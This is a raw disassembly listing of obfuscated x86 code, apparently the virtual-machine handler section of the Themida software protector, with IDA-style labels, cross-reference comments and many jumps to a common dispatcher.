sub edi, ebx
pop ebx
jmp loc_551601
; ---------------------------------------------------------------------------
loc_557507: ; CODE XREF: Themida_:00551224j
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_551DE0
; ---------------------------------------------------------------------------
loc_557513: ; CODE XREF: Themida_:00556C6Fj
add esp, 4
jmp loc_5514E0
; ---------------------------------------------------------------------------
loc_55751E: ; CODE XREF: Themida_:00555D0Ej
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557524: ; CODE XREF: Themida_:0055A62Dj
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_558DCD
; ---------------------------------------------------------------------------
loc_55753C: ; CODE XREF: Themida_:00554A6Cj
neg edx
and edx, 17E843D7h
push ebp
jmp loc_551D8C
; ---------------------------------------------------------------------------
loc_55754A: ; CODE XREF: Themida_:005535B5j
push small word ptr [esp+2]
mov dx, [esp]
push ebx
mov ebx, esp
jmp loc_5576E6
; ---------------------------------------------------------------------------
loc_55755B: ; CODE XREF: Themida_:005562CEj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557570: ; CODE XREF: Themida_:005580C1j
add ebx, 0A7F1F20Ah
and ebp, ebx
pop ebx
add ebp, 163A1542h
mov ecx, ebp
pop ebp
sub eax, ecx
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 78C82A0Eh
jmp loc_54EEAB
; ---------------------------------------------------------------------------
loc_55759B: ; CODE XREF: Themida_:00552112j
mov esp, [esp]
jmp loc_554E7F
; ---------------------------------------------------------------------------
loc_5575A3: ; CODE XREF: Themida_:005591FBj
xor edi, 7C9709C0h
push edi
sub dword ptr [esp], 22466F46h
jmp loc_55735A
; ---------------------------------------------------------------------------
loc_5575B6: ; CODE XREF: Themida_:00551D9Aj
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_55214A
; ---------------------------------------------------------------------------
push 794Bh
mov [esp], ebp
push esp
pop ebp
push edx
mov edx, 4ED11EA7h
jmp loc_554FB3
; ---------------------------------------------------------------------------
loc_5575D8: ; CODE XREF: Themida_:00558AD4j
add eax, 3A582C51h
pop ebx
pop edi
push edx
mov edx, 357A5A47h
xor edx, 0E0C15D3h
or edx, 338A4A98h
not edx
inc edx
push eax
mov eax, 1B0462D8h
add eax, 0A55063Dh
or edx, eax
pop eax
push eax
mov eax, 5E20022Ch
inc eax
add eax, 292E1A15h
jmp loc_553DEC
; ---------------------------------------------------------------------------
loc_557613: ; CODE XREF: Themida_:00559DB9j
push 7EEEh
jmp loc_559B50
; ---------------------------------------------------------------------------
loc_55761D: ; CODE XREF: Themida_:00557EC1j
pop esp
mov [esp], ecx
jmp loc_553155
; ---------------------------------------------------------------------------
loc_557626: ; CODE XREF: Themida_:00552DA6j
push edi
mov edi, esp
push eax
jmp loc_552579
; ---------------------------------------------------------------------------
loc_55762F: ; CODE XREF: Themida_:00550E8Fj
add esp, 4
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_55A216
; ---------------------------------------------------------------------------
loc_557646: ; CODE XREF: Themida_:00550D00j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_551BE6
; ---------------------------------------------------------------------------
loc_55765F: ; CODE XREF: Themida_:00555E58j
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_558955
; ---------------------------------------------------------------------------
loc_557673: ; CODE XREF: Themida_:00553944j
mov [esp], ecx
mov ecx, 4000h
and eax, ecx
pop ecx
shr eax, 0Eh
xor eax, ecx
xchg eax, edi
push edi
push esi
push dword ptr [esp+4]
jmp loc_5585B1
; ---------------------------------------------------------------------------
loc_55768F: ; CODE XREF: Themida_:00553759j
sub bh, 0DAh
xor ah, bh
pop ebx
push 39BEh
jmp loc_557D2A
; ---------------------------------------------------------------------------
loc_55769F: ; CODE XREF: Themida_:0055AAF0j
inc esi
jmp loc_55840C
; ---------------------------------------------------------------------------
loc_5576A5: ; CODE XREF: Themida_:0054EEE3j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push esi
mov esi, 4
sub ebp, esi
pop esi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_559BF3
; ---------------------------------------------------------------------------
loc_5576C9: ; CODE XREF: Themida_:0055A4E1j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5576DE: ; CODE XREF: Themida_:00550AC6j
mov [esp], ebx
jmp loc_551333
; ---------------------------------------------------------------------------
loc_5576E6: ; CODE XREF: Themida_:00557556j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
jmp loc_5582FD
; ---------------------------------------------------------------------------
loc_5576FE: ; CODE XREF: Themida_:005567ADj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push 3ABh
mov [esp], ecx
sub esp, 4
jmp loc_55808A
; ---------------------------------------------------------------------------
loc_55771A: ; CODE XREF: Themida_:00557017j
mov [esp], edi
mov edi, esp
sub esp, 4
mov [esp], eax
jmp loc_558482
; ---------------------------------------------------------------------------
loc_55772A: ; CODE XREF: Themida_:00558242j
mov esi, 2D2F3101h
and esi, 5F175B19h
jmp loc_557DF4
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2412h
mov [esp], edi
mov edi, esp
jmp loc_5536EA
; ---------------------------------------------------------------------------
loc_55774D: ; CODE XREF: Themida_:0054F346j
push edi
jmp loc_5526A8
; ---------------------------------------------------------------------------
loc_557753: ; CODE XREF: Themida_:0055898Cj
pop edx
jmp loc_550EAE
; ---------------------------------------------------------------------------
loc_557759: ; CODE XREF: Themida_:005580D0j
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_555BEE
; ---------------------------------------------------------------------------
loc_557765: ; CODE XREF: Themida_:0054FA0Cj
pop esp
btc [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557771: ; CODE XREF: Themida_:00556F26j
sub eax, 4
push 6F5Fh
mov [esp], eax
jmp loc_557B14
; ---------------------------------------------------------------------------
loc_557783: ; CODE XREF: Themida_:00552128j
push edi
push esp
push dword ptr [esp]
jmp loc_556448
; ---------------------------------------------------------------------------
loc_55778D: ; CODE XREF: Themida_:0055A0F7j
mov ebx, 0D8A2EFDh
sub ebx, 277F3869h
and ebx, 4A8019B0h
jmp loc_55A3C5
; ---------------------------------------------------------------------------
loc_5577A3: ; CODE XREF: Themida_:005539B1j
push eax
mov ah, 1
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_559D9B
; ---------------------------------------------------------------------------
loc_5577BB: ; CODE XREF: Themida_:0055AA34j
pop eax
shl ebx, 7
push edi
jmp loc_55AF09
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
push ecx
jmp loc_5500A5
; ---------------------------------------------------------------------------
loc_5577D0: ; CODE XREF: Themida_:0054F00Cj
mov edx, 58C40AE6h
push ecx
mov ecx, 37B60793h
sub edx, ecx
jmp loc_554EA7
; ---------------------------------------------------------------------------
loc_5577E2: ; CODE XREF: Themida_:005531B0j
pop esi
mov eax, ecx
mov ecx, [esp]
add esp, 4
xor eax, ebx
mov ebx, [esp]
jmp loc_54FDC2
; ---------------------------------------------------------------------------
lodsd
push ebp
mov ebp, 5D071753h
push esi
push edx
jmp loc_557386
; ---------------------------------------------------------------------------
loc_557806: ; CODE XREF: Themida_:00551354j
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_555F27
; ---------------------------------------------------------------------------
loc_55781E: ; CODE XREF: Themida_:005574A9j
push edx
mov edx, 5DC737Bh
sub esp, 4
jmp loc_553CEC
; ---------------------------------------------------------------------------
loc_55782C: ; CODE XREF: Themida_:00559B5Ej
push ecx
push 13C3h
jmp loc_5508DB
; ---------------------------------------------------------------------------
loc_557837: ; CODE XREF: Themida_:005546B0j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55783C: ; CODE XREF: Themida_:00556A60j
pop esi
xchg ecx, [esp]
pop esp
add eax, esi
pop esi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push 1655h
mov [esp], edx
jmp loc_5560E2
; ---------------------------------------------------------------------------
loc_55785B: ; CODE XREF: Themida_:00559466j
or edi, 26340160h
add edi, 0AE3DEF1Fh
add ebx, 4C6213ECh
add ebx, edi
jmp loc_553FD4
; ---------------------------------------------------------------------------
loc_557874: ; CODE XREF: Themida_:00551D62j
mov esi, esp
push eax
mov eax, esp
jmp loc_554BC6
; ---------------------------------------------------------------------------
loc_55787E: ; CODE XREF: Themida_:00550803j
or esi, edi
jmp loc_558D70
; ---------------------------------------------------------------------------
loc_557885: ; CODE XREF: Themida_:0055AF7Aj
pop eax
jmp loc_5530E1
; ---------------------------------------------------------------------------
loc_55788B: ; CODE XREF: Themida_:0055ABBDj
sub eax, esi
jmp loc_55A435
; ---------------------------------------------------------------------------
lodsd
push 4A1Eh
mov [esp], eax
push ebp
mov ebp, 27AF3230h
jmp loc_55A1C5
; ---------------------------------------------------------------------------
loc_5578A6: ; CODE XREF: Themida_:0055A1C0j
push ebp
mov ebp, 6B2D1CFAh
add ebp, 0A8B711FCh
or ebx, ebp
pop ebp
push eax
mov eax, 32E877D6h
inc eax
add eax, 2BAE4CC2h
jmp loc_5515B4
; ---------------------------------------------------------------------------
loc_5578C6: ; CODE XREF: Themida_:00551E0Aj
add edx, ecx
pop ecx
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop edx
push eax
jmp loc_5554FC
; ---------------------------------------------------------------------------
loc_5578D7: ; CODE XREF: Themida_:00550A66j
mov ebp, edi
jmp loc_5523CA
; ---------------------------------------------------------------------------
loc_5578DE: ; CODE XREF: Themida_:00556898j
pop edx
add ebx, eax
sub ebx, 21C667C2h
add ebx, 77C220F0h
xor edx, eax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5578F4: ; CODE XREF: Themida_:00555CC7j
add [esp+4], ebx
jmp loc_5581CF
; ---------------------------------------------------------------------------
loc_5578FD: ; CODE XREF: Themida_:0054FA91j
add edx, ecx
add edx, 69F63A1Ch
jmp loc_551E02
; ---------------------------------------------------------------------------
loc_55790A: ; CODE XREF: Themida_:0054EDEFj
push eax
mov eax, 53614B9Fh
mov edx, eax
pop eax
shr edx, 4
and edx, 5DA40BB1h
add edx, 62363E4Fh
neg edx
sub edx, 98A5C0FCh
add eax, edx
pop edx
push edi
mov edi, 62F75E2Ah
jmp loc_55A61E
; ---------------------------------------------------------------------------
loc_557938: ; CODE XREF: Themida_:0054F953j
mov esi, [esp]
add esp, 4
sub esi, 79D16285h
mov edx, [esp]
jmp loc_5527A9
; ---------------------------------------------------------------------------
loc_55794C: ; CODE XREF: Themida_:00552093j
push edi
mov edi, 4
mov esi, edi
mov edi, [esp]
push ecx
mov ecx, esp
jmp loc_556A52
; ---------------------------------------------------------------------------
loc_55795F: ; CODE XREF: Themida_:00553826j
pop esi
add esi, 1D1D5DC5h
jmp loc_557DA0
; ---------------------------------------------------------------------------
loc_55796B: ; CODE XREF: Themida_:005524CFj
push eax
jmp loc_54FE3C
; ---------------------------------------------------------------------------
loc_557971: ; CODE XREF: Themida_:005567B4j
pop ecx
xchg eax, [esp]
jmp loc_55356F
; ---------------------------------------------------------------------------
loc_55797A: ; CODE XREF: Themida_:005568D1j
add al, bl
sub al, 0E0h
sub al, 1Dh
sub al, 0ECh
mov bx, [esp]
add esp, 2
add bl, 60h
push ax
mov ah, 34h
add bl, ah
pop ax
sub bl, 10h
add bl, al
add bl, 10h
jmp loc_553200
; ---------------------------------------------------------------------------
loc_5579A1: ; CODE XREF: Themida_:00558735j
sub esp, 4
mov [esp], eax
push ecx
mov ecx, 4
mov eax, ecx
jmp loc_5597E5
; ---------------------------------------------------------------------------
loc_5579B4: ; CODE XREF: Themida_:005597A7j
add edx, 170457D7h
pop ebp
sub ecx, 690B441Ch
sub ecx, edx
add ecx, 690B441Ch
jmp loc_552061
; ---------------------------------------------------------------------------
loc_5579CE: ; CODE XREF: Themida_:0055A037j
mov edi, 6AD92921h
mov ecx, edi
jmp loc_55B013
; ---------------------------------------------------------------------------
loc_5579DA: ; CODE XREF: Themida_:00556F14j
add esp, 4
push 13EEh
jmp loc_553030
; ---------------------------------------------------------------------------
loc_5579E7: ; CODE XREF: Themida_:00556EF0j
mov edx, 5E7134BDh
sub ebx, edx
pop edx
sub ebx, esi
add ebx, 5E7134BDh
mov esi, [esp]
jmp loc_5510A2
; ---------------------------------------------------------------------------
loc_5579FF: ; CODE XREF: Themida_:00555A39j
sub ecx, ebp
jmp loc_5511AE
; ---------------------------------------------------------------------------
loc_557A06: ; CODE XREF: Themida_:005533BDj
xchg edx, [esp]
mov esp, [esp]
jmp loc_551622
; ---------------------------------------------------------------------------
loc_557A11: ; CODE XREF: Themida_:00553CE7j
add esp, 4
xor al, bl
mov ebx, [esp]
add esp, 4
sub bl, 0ECh
sub bl, al
push 634Bh
mov [esp], ecx
mov cl, 45h
jmp loc_55A0A8
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
add edi, 4
push eax
jmp loc_54F4C3
; ---------------------------------------------------------------------------
loc_557A46: ; CODE XREF: Themida_:00556476j
pop ecx
sub al, 24h
sub al, dl
add al, 24h
add al, 0E3h
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
mov esi, esp
jmp loc_55A810
; ---------------------------------------------------------------------------
loc_557A6F: ; CODE XREF: Themida_:00555B4Aj
mov esp, [esp]
jmp loc_550A3C
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], eax
push 49E0h
mov [esp], esp
push edi
jmp loc_555149
; ---------------------------------------------------------------------------
loc_557A8F: ; CODE XREF: Themida_:00556967j
add ecx, edi
sub ecx, 3BC9596Dh
jmp loc_54EA79
; ---------------------------------------------------------------------------
loc_557A9C: ; CODE XREF: Themida_:005592C8j
add dl, 0EBh
push bx
mov bh, 0B2h
add dl, bh
jmp loc_55A006
; ---------------------------------------------------------------------------
loc_557AAA: ; CODE XREF: Themida_:0055A350j
add ebp, 4
jmp loc_555C54
; ---------------------------------------------------------------------------
loc_557AB5: ; CODE XREF: Themida_:0055985Fj
pop ebx
mov eax, [esp]
push ecx
jmp loc_559E2F
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_550263
; ---------------------------------------------------------------------------
loc_557AE2: ; CODE XREF: Themida_:00557F67j
mov dh, 4Eh
shr dh, 7
not dh
add dh, 3
shr dh, 2
jmp loc_5513BD
; ---------------------------------------------------------------------------
mov cx, [esp]
push 58F6h
mov [esp], edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], eax
push ecx
jmp loc_55A52A
; ---------------------------------------------------------------------------
loc_557B14: ; CODE XREF: Themida_:0055777Ej
push dword ptr [esp+4]
jmp loc_558DAB
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557B2D: ; CODE XREF: Themida_:00553B66j
mov ecx, 4F986D59h
jmp loc_554356
; ---------------------------------------------------------------------------
loc_557B37: ; CODE XREF: Themida_:0055B116j
pop esp
jmp loc_555BF6
; ---------------------------------------------------------------------------
loc_557B3D: ; CODE XREF: Themida_:005524FFj
mov [esp], edx
jmp loc_553812
; ---------------------------------------------------------------------------
loc_557B45: ; CODE XREF: Themida_:00552B24j
pop ecx
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 3497ADF9h
jmp loc_5596F7
; ---------------------------------------------------------------------------
loc_557B59: ; CODE XREF: Themida_:00552EF3j
mov [esp], esi
jmp loc_54F305
; ---------------------------------------------------------------------------
loc_557B61: ; CODE XREF: Themida_:00552AD2j
sub ecx, 40000E5Ah
shr ecx, 4
add ecx, 0F7567573h
jmp loc_5542C4
; ---------------------------------------------------------------------------
loc_557B75: ; CODE XREF: Themida_:0055717Ej
xor ch, dh
pop edx
and ch, 0BEh
neg ch
add ch, 55h
jmp loc_557E73
; ---------------------------------------------------------------------------
loc_557B85: ; CODE XREF: Themida_:00558D09j
mov eax, 4
add ebx, eax
mov eax, [esp]
jmp loc_5532F4
; ---------------------------------------------------------------------------
loc_557B94: ; CODE XREF: Themida_:00555F22j
add eax, esi
pop esi
push dword ptr [esp]
pop ebx
jmp loc_55A122
; ---------------------------------------------------------------------------
lodsd
jmp loc_552EC7
; ---------------------------------------------------------------------------
loc_557BA6: ; CODE XREF: Themida_:0055AAFFj
not bh
xchg bh, al
add al, 2Dh
push edx
jmp loc_55567D
; ---------------------------------------------------------------------------
lodsd
jmp loc_5526B2
; ---------------------------------------------------------------------------
loc_557BB8: ; CODE XREF: Themida_:00552D6Dj
add esi, eax
pop eax
push edx
push eax
mov eax, 1CD72742h
mov edx, 0E328D8C2h
add edx, eax
pop eax
add esi, 1DB68D3h
sub esi, edx
sub esi, 1DB68D3h
pop edx
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557BE7: ; CODE XREF: Themida_:00550250j
or ebx, 245A1C70h
push 6BB2h
jmp loc_558930
; ---------------------------------------------------------------------------
loc_557BF7: ; CODE XREF: Themida_:005565A8j
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push eax
mov eax, 20h
add eax, edi
add [eax], ebp
pop eax
pop ebp
jmp loc_5584CB
; ---------------------------------------------------------------------------
loc_557C24: ; CODE XREF: Themida_:00556A44j
push eax
mov eax, 4
add ecx, eax
pop eax
xchg ecx, [esp]
mov esp, [esp]
jmp loc_553148
; ---------------------------------------------------------------------------
loc_557C38: ; CODE XREF: Themida_:005549EEj
pop dword ptr [eax]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557C3F: ; CODE XREF: Themida_:0055A2FEj
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_5528A4
; ---------------------------------------------------------------------------
loc_557C4B: ; CODE XREF: Themida_:0055234Bj
shr edi, 1
xor edi, 215865F0h
jmp loc_557FB7
; ---------------------------------------------------------------------------
loc_557C58: ; CODE XREF: Themida_:0055170Cj
push edi
push eax
mov eax, 3AF24980h
jmp loc_55A78E
; ---------------------------------------------------------------------------
loc_557C64: ; CODE XREF: Themida_:0054F290j
add esi, edi
pop edi
xchg esi, [esp]
jmp loc_5502A9
; ---------------------------------------------------------------------------
loc_557C6F: ; CODE XREF: Themida_:0055A082j
push ebx
mov ebx, 1AD7CF2Ah
add esi, ebx
pop ebx
jmp loc_54F5DB
; ---------------------------------------------------------------------------
loc_557C7D: ; CODE XREF: Themida_:0054FC35j
push edi
mov edi, 4
sub eax, 2FF26C7Fh
add eax, edi
add eax, 2FF26C7Fh
pop edi
push ebp
jmp loc_5559DA
; ---------------------------------------------------------------------------
loc_557C96: ; CODE XREF: Themida_:00558DA6j
xor ecx, edx
pop edx
mov ebx, 0A50E7B0Fh
push ecx
mov ecx, 6DE947CEh
add ebx, ecx
pop ecx
sub ebx, 53D85589h
jmp loc_5541B8
; ---------------------------------------------------------------------------
loc_557CB2: ; CODE XREF: Themida_:00550940j
push ecx
mov ch, 6Bh
dec ch
jmp loc_553361
; ---------------------------------------------------------------------------
push 1B46h
mov [esp], ebx
push ebp
push ebx
mov ebx, 2A981BE7h
mov ebp, ebx
mov ebx, [esp]
add esp, 4
push edx
jmp loc_55AA6B
; ---------------------------------------------------------------------------
loc_557CDC: ; CODE XREF: Themida_:00556FEFj
pop eax
jmp loc_556580
; ---------------------------------------------------------------------------
loc_557CE2: ; CODE XREF: Themida_:005542DEj
mov ebp, [esp]
add esp, 4
push ebp
jmp loc_55647B
; ---------------------------------------------------------------------------
loc_557CF1: ; CODE XREF: Themida_:005596DDj
mov ecx, 76412526h
or esi, ecx
pop ecx
push edx
mov edx, 1E5B77ADh
xor edx, 3A90208Bh
jmp loc_550701
; ---------------------------------------------------------------------------
loc_557D0A: ; CODE XREF: Themida_:0054F781j
xor ebp, 2D190512h
jmp loc_559DA3
; ---------------------------------------------------------------------------
loc_557D15: ; CODE XREF: Themida_:00552A3Bj
add al, 8Ah
jmp loc_559B58
; ---------------------------------------------------------------------------
loc_557D1C: ; CODE XREF: Themida_:0054F2C5j
pop esp
mov [esp], ebp
push 1
jmp loc_553581
; ---------------------------------------------------------------------------
loc_557D2A: ; CODE XREF: Themida_:0055769Aj
mov [esp], ebx
mov bh, ah
mov dl, bh
push dword ptr [esp]
jmp loc_55025D
; ---------------------------------------------------------------------------
loc_557D39: ; CODE XREF: Themida_:00556A86j
add esp, 4
dec dword ptr [esp]
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557D48: ; CODE XREF: Themida_:0054FDB3j
pop ebp
add ebx, 0D0758DBh
jmp loc_55A2C8
; ---------------------------------------------------------------------------
loc_557D54: ; CODE XREF: Themida_:00552B54j
add ebx, 4
xchg ebx, [esp]
jmp loc_5533F2
; ---------------------------------------------------------------------------
loc_557D62: ; CODE XREF: Themida_:0054FCF0j
push ebx
push eax
mov eax, 76BE63BAh
mov ebx, eax
push dword ptr [esp]
pop eax
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_551667
; ---------------------------------------------------------------------------
loc_557D8C: ; CODE XREF: Themida_:00550FA8j
div ecx
push ebp
push 0EE4h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_553589
; ---------------------------------------------------------------------------
loc_557DA0: ; CODE XREF: Themida_:00557966j
pop ebx
and eax, esi
push dword ptr [esp]
pop esi
push 289Dh
mov [esp], ebx
mov ebx, esp
push esi
push edi
mov edi, 6A101EFDh
mov esi, edi
pop edi
inc esi
xor esi, 2CE20094h
sub esi, 13BE4F9Fh
not esi
xor esi, 70B5784Bh
xor esi, 0BC79497Bh
jmp loc_5599C0
; ---------------------------------------------------------------------------
loc_557DDB: ; CODE XREF: Themida_:00550434j
sub esp, 4
mov [esp], eax
mov eax, 6447345Ah
jmp loc_55815E
; ---------------------------------------------------------------------------
loc_557DEE: ; CODE XREF: Themida_:00550BB7j
pop ebx
jmp loc_552AD0
; ---------------------------------------------------------------------------
loc_557DF4: ; CODE XREF: Themida_:00557735j
xor esi, 4A61029Eh
shr esi, 5
sub esi, 1B0624BDh
jmp loc_55A734
; ---------------------------------------------------------------------------
loc_557E08: ; CODE XREF: Themida_:0054F624j
push edi
jmp loc_5516F6
; ---------------------------------------------------------------------------
loc_557E0E: ; CODE XREF: Themida_:00555337j
sub ecx, 58F4901Dh
add esi, ecx
jmp loc_54FD6E
; ---------------------------------------------------------------------------
loc_557E1B: ; CODE XREF: Themida_:00559774j
sub ebp, 24BBC070h
sub ebx, ebp
jmp loc_54F110
; ---------------------------------------------------------------------------
loc_557E28: ; CODE XREF: Themida_:00557E95j
add esp, 4
jmp loc_552E01
; ---------------------------------------------------------------------------
loc_557E33: ; CODE XREF: Themida_:00552B47j
add edi, 4
xchg edi, [esp]
pop esp
push 544Bh
mov [esp], ebp
mov ebp, 4
jmp loc_557390
; ---------------------------------------------------------------------------
loc_557E4C: ; CODE XREF: Themida_:00551A16j
add ebx, ecx
pop ecx
sub esp, 4
mov [esp], ecx
jmp loc_55198B
; ---------------------------------------------------------------------------
loc_557E5D: ; CODE XREF: Themida_:005516BAj
pop eax
sub esp, 4
mov [esp], edx
mov edx, 30935974h
sub eax, 515424B6h
jmp loc_552237
; ---------------------------------------------------------------------------
loc_557E73: ; CODE XREF: Themida_:00557B80j
add dh, ch
jmp loc_55A718
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push ebx
mov ebx, 6F826FC6h
xor [esp+4], ebx
pop ebx
mov eax, [esp]
sub esp, 4
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_557E28
; ---------------------------------------------------------------------------
loc_557E9A: ; CODE XREF: Themida_:005546D8j
neg ecx
shr ecx, 5
sub ecx, 634F8CFh
jmp loc_54EAD2
; ---------------------------------------------------------------------------
loc_557EAA: ; CODE XREF: Themida_:00553A1Aj
add esp, 4
push small 417Fh
mov [esp], dx
jmp loc_5501F7
; ---------------------------------------------------------------------------
loc_557EBD: ; CODE XREF: Themida_:0054EBBEj
pop ecx
pop dword ptr [esp]
jmp loc_55761D
; ---------------------------------------------------------------------------
loc_557EC6: ; CODE XREF: Themida_:0055AC1Ej
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_559093
; ---------------------------------------------------------------------------
loc_557ED6: ; CODE XREF: Themida_:00559BEEj
and edx, 35452FBEh
dec edx
xor edx, 66B0831h
push eax
mov eax, 31ED1271h
jmp loc_553328
; ---------------------------------------------------------------------------
loc_557EEE: ; CODE XREF: Themida_:0054ED0Cj
push dword ptr [esp]
pop edi
add esp, 4
xchg eax, [esp]
mov esp, [esp]
mul cl
movzx cx, ah
push small 0CCDh
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_557F15: ; CODE XREF: Themida_:0055ADADj
mov ecx, 73CD6D56h
inc ecx
sub ecx, 73CD6D53h
jmp loc_553B9B
; ---------------------------------------------------------------------------
loc_557F26: ; CODE XREF: Themida_:00555207j
xor eax, edi
jmp loc_557FD7
; ---------------------------------------------------------------------------
loc_557F2D: ; CODE XREF: Themida_:005573DAj
or bl, 0B0h
shl bl, 2
shr bl, 6
xor bl, 86h
push edx
mov dl, bl
mov ch, dl
jmp loc_54EB7A
; ---------------------------------------------------------------------------
loc_557F43: ; CODE XREF: Themida_:005588C6j
dec ebp
jmp loc_552A90
; ---------------------------------------------------------------------------
loc_557F49: ; CODE XREF: Themida_:00554BC1j
pop esp
jmp loc_552463
; ---------------------------------------------------------------------------
loc_557F4F: ; CODE XREF: Themida_:0054FCC5j
push dword ptr [esp]
jmp loc_54F793
; ---------------------------------------------------------------------------
loc_557F57: ; CODE XREF: Themida_:005507F9j
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
mov bl, 19h
shl bl, 8
push edx
jmp loc_557AE2
; ---------------------------------------------------------------------------
loc_557F6C: ; CODE XREF: Themida_:0054FAD5j
push 1A63h
mov [esp], ecx
push esp
pop ecx
push esi
mov esi, 42FB5A30h
jmp loc_555822
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], esi
jmp loc_550735
; ---------------------------------------------------------------------------
loc_557F93: ; CODE XREF: Themida_:00556792j
push eax
mov eax, 4
sub ebp, eax
pop eax
xchg ebp, [esp]
pop esp
mov [esp], ebp
jmp loc_551C59
; ---------------------------------------------------------------------------
loc_557FA8: ; CODE XREF: Themida_:005507B7j
push edx
jmp loc_54FE19
; ---------------------------------------------------------------------------
loc_557FAE: ; CODE XREF: Themida_:005502C0j
sub ecx, 4
push ecx
jmp loc_54EBBA
; ---------------------------------------------------------------------------
loc_557FB7: ; CODE XREF: Themida_:00557C53j
add eax, edi
pop edi
pop edx
push ebp
mov ebp, 3B082632h
push ecx
push esp
pop ecx
push ebp
mov ebp, 50C70AEAh
not ebp
push eax
mov eax, 7DEE01CCh
jmp loc_55A327
; ---------------------------------------------------------------------------
loc_557FD7: ; CODE XREF: Themida_:00557F28j
xor edi, eax
xor eax, edi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_5587EF
; ---------------------------------------------------------------------------
loc_557FEF: ; CODE XREF: Themida_:0054EC5Fj
sub edx, 10B211F1h
mov ecx, edx
pop edx
add ecx, edi
push 1EC9h
jmp loc_555462
; ---------------------------------------------------------------------------
mov ax, [esp]
push 26E2h
mov [esp], edi
push 1425h
mov [esp], esp
jmp loc_55317E
; ---------------------------------------------------------------------------
loc_55801D: ; CODE XREF: Themida_:005512A3j
sub edi, 0DAD0FB78h
jmp loc_5527DE
; ---------------------------------------------------------------------------
loc_558028: ; CODE XREF: Themida_:00554C4Ej
add esi, 51F255F3h
push esi
jmp loc_550B77
; ---------------------------------------------------------------------------
loc_558034: ; CODE XREF: Themida_:0055AF4Fj
mov [esp], ecx
sub esp, 4
mov [esp], edx
jmp loc_55AD4E
; ---------------------------------------------------------------------------
loc_558042: ; CODE XREF: Themida_:00552741j
sub esp, 4
mov [esp], esi
jmp loc_554F50
; ---------------------------------------------------------------------------
loc_558050: ; CODE XREF: Themida_:0055A7BCj
sub edx, 0FF44E766h
add ebx, edx
pop edx
push edi
mov edi, 2FE8343h
xor ebx, edi
jmp loc_551430
; ---------------------------------------------------------------------------
loc_558066: ; CODE XREF: Themida_:00554DEBj
xor eax, 0FB5885AEh
sub ebp, eax
pop eax
add ebp, edi
add ebp, 6EA10734h
pop edi
jmp loc_5591EC
; ---------------------------------------------------------------------------
loc_55807C: ; CODE XREF: Themida_:005515D2j
add ebx, edx
pop edx
or [edi+1Ch], ebx
mov ebx, [esp]
jmp loc_554326
; ---------------------------------------------------------------------------
loc_55808A: ; CODE XREF: Themida_:00557715j
mov [esp], ebx
jmp loc_54F698
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
jmp loc_5503DB
